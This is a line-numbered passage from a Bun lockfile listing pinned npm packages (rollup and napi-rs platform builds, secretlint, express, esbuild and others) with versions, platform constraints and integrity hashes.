"arm" }, "sha512-5qpvOu5IGwDo7MEKVqqyAxF90I6aLj4n07OzpARdgDRfz8UbBztTByBp0RC59r3J1Ij8uzYi6jI7r5Lws7nn6w=="], 84 | 85 | "@napi-rs/nice-android-arm64": ["@napi-rs/nice-android-arm64@1.0.1", "", { "os": "android", "cpu": "arm64" }, "sha512-GqvXL0P8fZ+mQqG1g0o4AO9hJjQaeYG84FRfZaYjyJtZZZcMjXW5TwkL8Y8UApheJgyE13TQ4YNUssQaTgTyvA=="], 86 | 87 | "@napi-rs/nice-darwin-arm64": ["@napi-rs/nice-darwin-arm64@1.0.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-91k3HEqUl2fsrz/sKkuEkscj6EAj3/eZNCLqzD2AA0TtVbkQi8nqxZCZDMkfklULmxLkMxuUdKe7RvG/T6s2AA=="], 88 | 89 | "@napi-rs/nice-darwin-x64": ["@napi-rs/nice-darwin-x64@1.0.1", "", { "os": "darwin", "cpu": "x64" }, "sha512-jXnMleYSIR/+TAN/p5u+NkCA7yidgswx5ftqzXdD5wgy/hNR92oerTXHc0jrlBisbd7DpzoaGY4cFD7Sm5GlgQ=="], 90 | 91 | "@napi-rs/nice-freebsd-x64": ["@napi-rs/nice-freebsd-x64@1.0.1", "", { "os": "freebsd", "cpu": "x64" }, "sha512-j+iJ/ezONXRQsVIB/FJfwjeQXX7A2tf3gEXs4WUGFrJjpe/z2KB7sOv6zpkm08PofF36C9S7wTNuzHZ/Iiccfw=="], 92 | 93 | "@napi-rs/nice-linux-arm-gnueabihf": ["@napi-rs/nice-linux-arm-gnueabihf@1.0.1", "", { "os": "linux", "cpu": "arm" }, "sha512-G8RgJ8FYXYkkSGQwywAUh84m946UTn6l03/vmEXBYNJxQJcD+I3B3k5jmjFG/OPiU8DfvxutOP8bi+F89MCV7Q=="], 94 | 95 | "@napi-rs/nice-linux-arm64-gnu": ["@napi-rs/nice-linux-arm64-gnu@1.0.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-IMDak59/W5JSab1oZvmNbrms3mHqcreaCeClUjwlwDr0m3BoR09ZiN8cKFBzuSlXgRdZ4PNqCYNeGQv7YMTjuA=="], 96 | 97 | "@napi-rs/nice-linux-arm64-musl": ["@napi-rs/nice-linux-arm64-musl@1.0.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-wG8fa2VKuWM4CfjOjjRX9YLIbysSVV1S3Kgm2Fnc67ap/soHBeYZa6AGMeR5BJAylYRjnoVOzV19Cmkco3QEPw=="], 98 | 99 | "@napi-rs/nice-linux-ppc64-gnu": ["@napi-rs/nice-linux-ppc64-gnu@1.0.1", "", { "os": "linux", "cpu": "ppc64" }, "sha512-lxQ9WrBf0IlNTCA9oS2jg/iAjQyTI6JHzABV664LLrLA/SIdD+I1i3Mjf7TsnoUbgopBcCuDztVLfJ0q9ubf6Q=="], 100 | 101 | "@napi-rs/nice-linux-riscv64-gnu": ["@napi-rs/nice-linux-riscv64-gnu@1.0.1", "", { "os": "linux", "cpu": "none" }, "sha512-3xs69dO8WSWBb13KBVex+yvxmUeEsdWexxibqskzoKaWx9AIqkMbWmE2npkazJoopPKX2ULKd8Fm9veEn0g4Ig=="], 102 | 103 | "@napi-rs/nice-linux-s390x-gnu": ["@napi-rs/nice-linux-s390x-gnu@1.0.1", "", { "os": "linux", "cpu": "s390x" }, "sha512-lMFI3i9rlW7hgToyAzTaEybQYGbQHDrpRkg+1gJWEpH0PLAQoZ8jiY0IzakLfNWnVda1eTYYlxxFYzW8Rqczkg=="], 104 | 105 | "@napi-rs/nice-linux-x64-gnu": ["@napi-rs/nice-linux-x64-gnu@1.0.1", "", { "os": "linux", "cpu": "x64" }, "sha512-XQAJs7DRN2GpLN6Fb+ZdGFeYZDdGl2Fn3TmFlqEL5JorgWKrQGRUrpGKbgZ25UeZPILuTKJ+OowG2avN8mThBA=="], 106 | 107 | "@napi-rs/nice-linux-x64-musl": ["@napi-rs/nice-linux-x64-musl@1.0.1", "", { "os": "linux", "cpu": "x64" }, "sha512-/rodHpRSgiI9o1faq9SZOp/o2QkKQg7T+DK0R5AkbnI/YxvAIEHf2cngjYzLMQSQgUhxym+LFr+UGZx4vK4QdQ=="], 108 | 109 | "@napi-rs/nice-win32-arm64-msvc": ["@napi-rs/nice-win32-arm64-msvc@1.0.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-rEcz9vZymaCB3OqEXoHnp9YViLct8ugF+6uO5McifTedjq4QMQs3DHz35xBEGhH3gJWEsXMUbzazkz5KNM5YUg=="], 110 | 111 | "@napi-rs/nice-win32-ia32-msvc": ["@napi-rs/nice-win32-ia32-msvc@1.0.1", "", { "os": "win32", "cpu": "ia32" }, "sha512-t7eBAyPUrWL8su3gDxw9xxxqNwZzAqKo0Szv3IjVQd1GpXXVkb6vBBQUuxfIYaXMzZLwlxRQ7uzM2vdUE9ULGw=="], 112 | 113 | "@napi-rs/nice-win32-x64-msvc": ["@napi-rs/nice-win32-x64-msvc@1.0.1", "", { "os": "win32", "cpu": "x64" }, "sha512-JlF+uDcatt3St2ntBG8H02F1mM45i5SF9W+bIKiReVE6wiy3o16oBP/yxt+RZ+N6LbCImJXJ6bXNO2kn9AXicg=="], 114 | 115 | "@nodelib/fs.scandir": ["@nodelib/fs.scandir@2.1.5", "", { "dependencies": { "@nodelib/fs.stat": "2.0.5", "run-parallel": "^1.1.9" } }, "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g=="], 116 | 117 | "@nodelib/fs.stat": ["@nodelib/fs.stat@2.0.5", "", {}, "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A=="], 118 | 119 | "@nodelib/fs.walk": ["@nodelib/fs.walk@1.2.8", "", { "dependencies": { "@nodelib/fs.scandir": "2.1.5", "fastq": "^1.6.0" } }, "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg=="], 120 | 121 | "@rollup/rollup-android-arm-eabi": ["@rollup/rollup-android-arm-eabi@4.44.0", "", { "os": "android", "cpu": "arm" }, "sha512-xEiEE5oDW6tK4jXCAyliuntGR+amEMO7HLtdSshVuhFnKTYoeYMyXQK7pLouAJJj5KHdwdn87bfHAR2nSdNAUA=="], 122 | 123 | "@rollup/rollup-android-arm64": ["@rollup/rollup-android-arm64@4.44.0", "", { "os": "android", "cpu": "arm64" }, "sha512-uNSk/TgvMbskcHxXYHzqwiyBlJ/lGcv8DaUfcnNwict8ba9GTTNxfn3/FAoFZYgkaXXAdrAA+SLyKplyi349Jw=="], 124 | 125 | "@rollup/rollup-darwin-arm64": ["@rollup/rollup-darwin-arm64@4.44.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-VGF3wy0Eq1gcEIkSCr8Ke03CWT+Pm2yveKLaDvq51pPpZza3JX/ClxXOCmTYYq3us5MvEuNRTaeyFThCKRQhOA=="], 126 | 127 | "@rollup/rollup-darwin-x64": ["@rollup/rollup-darwin-x64@4.44.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-fBkyrDhwquRvrTxSGH/qqt3/T0w5Rg0L7ZIDypvBPc1/gzjJle6acCpZ36blwuwcKD/u6oCE/sRWlUAcxLWQbQ=="], 128 | 129 | "@rollup/rollup-freebsd-arm64": ["@rollup/rollup-freebsd-arm64@4.44.0", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-u5AZzdQJYJXByB8giQ+r4VyfZP+walV+xHWdaFx/1VxsOn6eWJhK2Vl2eElvDJFKQBo/hcYIBg/jaKS8ZmKeNQ=="], 130 | 131 | "@rollup/rollup-freebsd-x64": ["@rollup/rollup-freebsd-x64@4.44.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-qC0kS48c/s3EtdArkimctY7h3nHicQeEUdjJzYVJYR3ct3kWSafmn6jkNCA8InbUdge6PVx6keqjk5lVGJf99g=="], 132 | 133 | "@rollup/rollup-linux-arm-gnueabihf": ["@rollup/rollup-linux-arm-gnueabihf@4.44.0", "", { "os": "linux", "cpu": "arm" }, "sha512-x+e/Z9H0RAWckn4V2OZZl6EmV0L2diuX3QB0uM1r6BvhUIv6xBPL5mrAX2E3e8N8rEHVPwFfz/ETUbV4oW9+lQ=="], 134 | 135 | "@rollup/rollup-linux-arm-musleabihf": ["@rollup/rollup-linux-arm-musleabihf@4.44.0", "", { "os": "linux", "cpu": "arm" }, "sha512-1exwiBFf4PU/8HvI8s80icyCcnAIB86MCBdst51fwFmH5dyeoWVPVgmQPcKrMtBQ0W5pAs7jBCWuRXgEpRzSCg=="], 136 | 137 | "@rollup/rollup-linux-arm64-gnu": ["@rollup/rollup-linux-arm64-gnu@4.44.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-ZTR2mxBHb4tK4wGf9b8SYg0Y6KQPjGpR4UWwTFdnmjB4qRtoATZ5dWn3KsDwGa5Z2ZBOE7K52L36J9LueKBdOQ=="], 138 | 139 | "@rollup/rollup-linux-arm64-musl": ["@rollup/rollup-linux-arm64-musl@4.44.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-GFWfAhVhWGd4r6UxmnKRTBwP1qmModHtd5gkraeW2G490BpFOZkFtem8yuX2NyafIP/mGpRJgTJ2PwohQkUY/Q=="], 140 | 141 | "@rollup/rollup-linux-loongarch64-gnu": ["@rollup/rollup-linux-loongarch64-gnu@4.44.0", "", { "os": "linux", "cpu": "none" }, "sha512-xw+FTGcov/ejdusVOqKgMGW3c4+AgqrfvzWEVXcNP6zq2ue+lsYUgJ+5Rtn/OTJf7e2CbgTFvzLW2j0YAtj0Gg=="], 142 | 143 | "@rollup/rollup-linux-powerpc64le-gnu": ["@rollup/rollup-linux-powerpc64le-gnu@4.44.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-bKGibTr9IdF0zr21kMvkZT4K6NV+jjRnBoVMt2uNMG0BYWm3qOVmYnXKzx7UhwrviKnmK46IKMByMgvpdQlyJQ=="], 144 | 145 | "@rollup/rollup-linux-riscv64-gnu": ["@rollup/rollup-linux-riscv64-gnu@4.44.0", "", { "os": "linux", "cpu": "none" }, "sha512-vV3cL48U5kDaKZtXrti12YRa7TyxgKAIDoYdqSIOMOFBXqFj2XbChHAtXquEn2+n78ciFgr4KIqEbydEGPxXgA=="], 146 | 147 | "@rollup/rollup-linux-riscv64-musl": ["@rollup/rollup-linux-riscv64-musl@4.44.0", "", { "os": "linux", "cpu": "none" }, "sha512-TDKO8KlHJuvTEdfw5YYFBjhFts2TR0VpZsnLLSYmB7AaohJhM8ctDSdDnUGq77hUh4m/djRafw+9zQpkOanE2Q=="], 148 | 149 | "@rollup/rollup-linux-s390x-gnu": ["@rollup/rollup-linux-s390x-gnu@4.44.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-8541GEyktXaw4lvnGp9m84KENcxInhAt6vPWJ9RodsB/iGjHoMB2Pp5MVBCiKIRxrxzJhGCxmNzdu+oDQ7kwRA=="], 150 | 151 | "@rollup/rollup-linux-x64-gnu": ["@rollup/rollup-linux-x64-gnu@4.44.0", "", { "os": "linux", "cpu": "x64" }, "sha512-iUVJc3c0o8l9Sa/qlDL2Z9UP92UZZW1+EmQ4xfjTc1akr0iUFZNfxrXJ/R1T90h/ILm9iXEY6+iPrmYB3pXKjw=="], 152 | 153 | "@rollup/rollup-linux-x64-musl": ["@rollup/rollup-linux-x64-musl@4.44.0", "", { "os": "linux", "cpu": "x64" }, "sha512-PQUobbhLTQT5yz/SPg116VJBgz+XOtXt8D1ck+sfJJhuEsMj2jSej5yTdp8CvWBSceu+WW+ibVL6dm0ptG5fcA=="], 154 | 155 | "@rollup/rollup-win32-arm64-msvc": ["@rollup/rollup-win32-arm64-msvc@4.44.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-M0CpcHf8TWn+4oTxJfh7LQuTuaYeXGbk0eageVjQCKzYLsajWS/lFC94qlRqOlyC2KvRT90ZrfXULYmukeIy7w=="], 156 | 157 | "@rollup/rollup-win32-ia32-msvc": ["@rollup/rollup-win32-ia32-msvc@4.44.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-3XJ0NQtMAXTWFW8FqZKcw3gOQwBtVWP/u8TpHP3CRPXD7Pd6s8lLdH3sHWh8vqKCyyiI8xW5ltJScQmBU9j7WA=="], 158 | 159 | "@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.44.0", "", { "os": "win32", "cpu": "x64" }, "sha512-Q2Mgwt+D8hd5FIPUuPDsvPR7Bguza6yTkJxspDGkZj7tBRn2y4KSWYuIXpftFSjBra76TbKerCV7rgFPQrn+wQ=="], 160 | 161 | "@secretlint/core": ["@secretlint/core@9.3.4", "", { "dependencies": { "@secretlint/profiler": "^9.3.4", "@secretlint/types": "^9.3.4", "debug": "^4.4.1", "structured-source": "^4.0.0" } }, "sha512-ErIVHI6CJd191qdNKuMkH3bZQo9mWJsrSg++bQx64o0WFuG5nPvkYrDK0p/lebf+iQuOnzvl5HrZU6GU9a6o+Q=="], 162 | 163 | "@secretlint/profiler": ["@secretlint/profiler@9.3.4", "", {}, "sha512-99WmaHd4dClNIm5BFsG++E6frNIZ3qVwg6s804Ql/M19pDmtZOoVCl4/UuzWpwNniBqLIgn9rHQZ/iGlIW3wyw=="], 164 | 165 | "@secretlint/secretlint-rule-preset-recommend": ["@secretlint/secretlint-rule-preset-recommend@9.3.4", "", {}, "sha512-RvzrLNN2A0B2bYQgRSRjh2dkdaIDuhXjj4SO5bElK1iBtJNiD6VBTxSSY1P3hXYaBeva7MEF+q1PZ3cCL8XYOA=="], 166 | 167 | "@secretlint/types": ["@secretlint/types@9.3.4", "", {}, "sha512-z9rdKHNeL4xa48+367RQJVw1d7/Js9HIQ+gTs/angzteM9osfgs59ad3iwVRhCGYbeUoUUDe2yxJG2ylYLaH3Q=="], 168 | 169 | "@sindresorhus/merge-streams": ["@sindresorhus/merge-streams@2.3.0", "", {}, "sha512-LtoMMhxAlorcGhmFYI+LhPgbPZCkgP6ra1YL604EeF6U98pLlQ3iWIGMdWSC+vWmPBWBNgmDBAhnAobLROJmwg=="], 170 | 171 | "@types/bun": ["@types/bun@1.2.17", "", { "dependencies": { "bun-types": "1.2.17" } }, "sha512-l/BYs/JYt+cXA/0+wUhulYJB6a6p//GTPiJ7nV+QHa8iiId4HZmnu/3J/SowP5g0rTiERY2kfGKXEK5Ehltx4Q=="], 172 | 173 | "@types/estree": ["@types/estree@1.0.8", "", {}, "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w=="], 174 | 175 | "@types/node": ["@types/node@24.0.3", "", { "dependencies": { "undici-types": "~7.8.0" } }, "sha512-R4I/kzCYAdRLzfiCabn9hxWfbuHS573x+r0dJMkkzThEa7pbrcDWK+9zu3e7aBOouf+rQAciqPFMnxwr0aWgKg=="], 176 | 177 | "@types/parse-path": ["@types/parse-path@7.1.0", "", { "dependencies": { "parse-path": "*" } }, "sha512-EULJ8LApcVEPbrfND0cRQqutIOdiIgJ1Mgrhpy755r14xMohPTEpkV/k28SJvuOs9bHRFW8x+KeDAEPiGQPB9Q=="], 178 | 179 | "accepts": ["accepts@2.0.0", "", { "dependencies": { "mime-types": "^3.0.0", "negotiator": "^1.0.0" } }, "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng=="], 180 | 181 | "ajv": ["ajv@6.12.6", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g=="], 182 | 183 | "ansi-escapes": ["ansi-escapes@7.0.0", "", { "dependencies": { "environment": "^1.0.0" } }, "sha512-GdYO7a61mR0fOlAsvC9/rIHf7L96sBc6dEWzeOu+KAea5bZyQRPIpojrVoI4AXGJS/ycu/fBTdLrUkA4ODrvjw=="], 184 | 185 | "ansi-regex": ["ansi-regex@6.1.0", "", {}, "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA=="], 186 | 187 | "ansi-styles": ["ansi-styles@6.2.1", "", {}, "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug=="], 188 | 189 | "binaryextensions": ["binaryextensions@6.11.0", "", { "dependencies": { "editions": "^6.21.0" } }, "sha512-sXnYK/Ij80TO3lcqZVV2YgfKN5QjUWIRk/XSm2J/4bd/lPko3lvk0O4ZppH6m+6hB2/GTu+ptNwVFe1xh+QLQw=="], 190 | 191 | "body-parser": ["body-parser@2.2.0", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^1.0.5", "debug": "^4.4.0", "http-errors": "^2.0.0", "iconv-lite": "^0.6.3", "on-finished": "^2.4.1", "qs": "^6.14.0", "raw-body": "^3.0.0", "type-is": "^2.0.0" } }, "sha512-02qvAaxv8tp7fBa/mw1ga98OGm+eCbqzJOKoRt70sLmfEEi+jyBYVTDGfCL/k06/4EMk/z01gCe7HoCH/f2LTg=="], 192 | 193 | "boundary": ["boundary@2.0.0", "", {}, "sha512-rJKn5ooC9u8q13IMCrW0RSp31pxBCHE3y9V/tp3TdWSLf8Em3p6Di4NBpfzbJge9YjjFEsD0RtFEjtvHL5VyEA=="], 194 | 195 | "braces": ["braces@3.0.3", "", { "dependencies": { "fill-range": "^7.1.1" } }, "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA=="], 196 | 197 | "bun-types": ["bun-types@1.2.17", "", { "dependencies": { "@types/node": "*" } }, "sha512-ElC7ItwT3SCQwYZDYoAH+q6KT4Fxjl8DtZ6qDulUFBmXA8YB4xo+l54J9ZJN+k2pphfn9vk7kfubeSd5QfTVJQ=="], 198 | 199 | "bytes": ["bytes@3.1.2", "", {}, "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg=="], 200 | 201 | "call-bind-apply-helpers": ["call-bind-apply-helpers@1.0.2", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2" } }, "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ=="], 202 | 203 | "call-bound": ["call-bound@1.0.4", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.2", "get-intrinsic": "^1.3.0" } }, "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg=="], 204 | 205 | "cli-cursor": ["cli-cursor@5.0.0", "", { "dependencies": { "restore-cursor": "^5.0.0" } }, "sha512-aCj4O5wKyszjMmDT4tZj93kxyydN/K5zPWSCe6/0AV/AA1pqe5ZBIw0a2ZfPQV7lL5/yb5HsUreJ6UFAF1tEQw=="], 206 | 207 | "cli-spinners": ["cli-spinners@2.9.2", "", {}, "sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg=="], 208 | 209 | "clipboardy": ["clipboardy@4.0.0", "", { "dependencies": { "execa": "^8.0.1", "is-wsl": "^3.1.0", "is64bit": "^2.0.0" } }, "sha512-5mOlNS0mhX0707P2I0aZ2V/cmHUEO/fL7VFLqszkhUsxt7RwnmrInf/eEQKlf5GzvYeHIjT+Ov1HRfNmymlG0w=="], 210 | 211 | "commander": ["commander@14.0.0", "", {}, "sha512-2uM9rYjPvyq39NwLRqaiLtWHyDC1FvryJDa2ATTVims5YAS4PupsEQsDvP14FqhFr0P49CYDugi59xaxJlTXRA=="], 212 | 213 | "content-disposition": ["content-disposition@1.0.0", "", { "dependencies": { "safe-buffer": "5.2.1" } }, "sha512-Au9nRL8VNUut/XSzbQA38+M78dzP4D+eqg3gfJHMIHHYa3bg067xj1KxMUWj+VULbiZMowKngFFbKczUrNJ1mg=="], 214 | 215 | "content-type": ["content-type@1.0.5", "", {}, "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA=="], 216 | 217 | "cookie": ["cookie@0.7.2", "", {}, "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w=="], 218 | 219 | "cookie-signature": ["cookie-signature@1.2.2", "", {}, "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg=="], 220 | 221 | "cors": ["cors@2.8.5", "", { "dependencies": { "object-assign": "^4", "vary": "^1" } }, "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g=="], 222 | 223 | "cross-spawn": ["cross-spawn@7.0.6", "", { "dependencies": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", "which": "^2.0.1" } }, "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA=="], 224 | 225 | "debug": ["debug@4.4.1", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ=="], 226 | 227 | "depd": ["depd@2.0.0", "", {}, "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw=="], 228 | 229 | "dunder-proto": ["dunder-proto@1.0.1", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.1", "es-errors": "^1.3.0", "gopd": "^1.2.0" } }, "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A=="], 230 | 231 | "editions": ["editions@6.21.0", "", { "dependencies": { "version-range": "^4.13.0" } }, "sha512-ofkXJtn7z0urokN62DI3SBo/5xAtF0rR7tn+S/bSYV79Ka8pTajIIl+fFQ1q88DQEImymmo97M4azY3WX/nUdg=="], 232 | 233 | "ee-first": ["ee-first@1.1.1", "", {}, "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow=="], 234 | 235 | "emoji-regex": ["emoji-regex@10.4.0", "", {}, "sha512-EC+0oUMY1Rqm4O6LLrgjtYDvcVYTy7chDnM4Q7030tP4Kwj3u/pR6gP9ygnp2CJMK5Gq+9Q2oqmrFJAz01DXjw=="], 236 | 237 | "encodeurl": ["encodeurl@2.0.0", "", {}, "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg=="], 238 | 239 | "environment": ["environment@1.1.0", "", {}, "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q=="], 240 | 241 | "es-define-property": ["es-define-property@1.0.1", "", {}, "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g=="], 242 | 243 | "es-errors": ["es-errors@1.3.0", "", {}, "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw=="], 244 | 245 | "es-object-atoms": ["es-object-atoms@1.1.1", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA=="], 246 | 247 | "esbuild": ["esbuild@0.25.5", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.25.5", "@esbuild/android-arm": "0.25.5", "@esbuild/android-arm64": "0.25.5", "@esbuild/android-x64": "0.25.5", "@esbuild/darwin-arm64": "0.25.5", "@esbuild/darwin-x64": "0.25.5", "@esbuild/freebsd-arm64": "0.25.5", "@esbuild/freebsd-x64": "0.25.5", "@esbuild/linux-arm": "0.25.5", "@esbuild/linux-arm64": "0.25.5", "@esbuild/linux-ia32": "0.25.5", "@esbuild/linux-loong64": "0.25.5", "@esbuild/linux-mips64el": "0.25.5", "@esbuild/linux-ppc64": "0.25.5", "@esbuild/linux-riscv64": "0.25.5", "@esbuild/linux-s390x": "0.25.5", "@esbuild/linux-x64": "0.25.5", "@esbuild/netbsd-arm64": "0.25.5", "@esbuild/netbsd-x64": "0.25.5", "@esbuild/openbsd-arm64": "0.25.5", "@esbuild/openbsd-x64": "0.25.5", "@esbuild/sunos-x64": "0.25.5", "@esbuild/win32-arm64": "0.25.5", "@esbuild/win32-ia32": "0.25.5", "@esbuild/win32-x64": "0.25.5" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-P8OtKZRv/5J5hhz0cUAdu/cLuPIKXpQl1R9pZtvmHWQvrAUVd0UNIPT4IB4W3rNOqVO0rlqHmCIbSwxh/c9yUQ=="], 248 | 249 | "escape-html": ["escape-html@1.0.3", "", {}, "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow=="], 250 | 251 | "etag": ["etag@1.8.1", "", {}, "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg=="], 252 | 253 | "eventsource": ["eventsource@3.0.7", "", { "dependencies": { "eventsource-parser": "^3.0.1" } }, "sha512-CRT1WTyuQoD771GW56XEZFQ/ZoSfWid1alKGDYMmkt2yl8UXrVR4pspqWNEcqKvVIzg6PAltWjxcSSPrboA4iA=="], 254 | 255 | "eventsource-parser": ["eventsource-parser@3.0.2", "", {}, "sha512-6RxOBZ/cYgd8usLwsEl+EC09Au/9BcmCKYF2/xbml6DNczf7nv0MQb+7BA2F+li6//I+28VNlQR37XfQtcAJuA=="], 256 | 257 | "execa": ["execa@8.0.1", "", { "dependencies": { "cross-spawn": "^7.0.3", "get-stream": "^8.0.1", "human-signals": "^5.0.0", "is-stream": "^3.0.0", "merge-stream": "^2.0.0", "npm-run-path": "^5.1.0", "onetime": "^6.0.0", "signal-exit": "^4.1.0", "strip-final-newline": "^3.0.0" } }, "sha512-VyhnebXciFV2DESc+p6B+y0LjSm0krU4OgJN44qFAhBY0TJ+1V61tYD2+wHusZ6F9n5K+vl8k0sTy7PEfV4qpg=="], 258 | 259 | "express": ["express@5.1.0", "", { "dependencies": { "accepts": "^2.0.0", "body-parser": "^2.2.0", "content-disposition": "^1.0.0", "content-type": "^1.0.5", "cookie": "^0.7.1", "cookie-signature": "^1.2.1", "debug": "^4.4.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "finalhandler": "^2.1.0", "fresh": "^2.0.0", "http-errors": "^2.0.0", "merge-descriptors": "^2.0.0", "mime-types": "^3.0.0", "on-finished": "^2.4.1", "once": "^1.4.0", "parseurl": "^1.3.3", "proxy-addr": "^2.0.7", "qs": "^6.14.0", "range-parser": "^1.2.1", "router": "^2.2.0", "send": "^1.1.0", "serve-static": "^2.2.0", "statuses": "^2.0.1", "type-is": "^2.0.1", "vary": "^1.1.2" } }, "sha512-DT9ck5YIRU+8GYzzU5kT3eHGA5iL+1Zd0EutOmTE9Dtk+Tvuzd23VBU+ec7HPNSTxXYO55gPV/hq4pSBJDjFpA=="], 260 | 261 | "express-rate-limit": ["express-rate-limit@7.5.1", "", { "peerDependencies": { "express": ">= 4.11" } }, "sha512-7iN8iPMDzOMHPUYllBEsQdWVB6fPDMPqwjBaFrgr4Jgr/+okjvzAy+UHlYYL/Vs0OsOrMkwS6PJDkFlJwoxUnw=="], 262 | 263 | "fast-deep-equal": ["fast-deep-equal@3.1.3", "", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="], 264 | 265 | "fast-glob": ["fast-glob@3.3.3", "", { "dependencies": { "@nodelib/fs.stat": "^2.0.2", "@nodelib/fs.walk": "^1.2.3", "glob-parent": "^5.1.2", "merge2": "^1.3.0", "micromatch": "^4.0.8" } 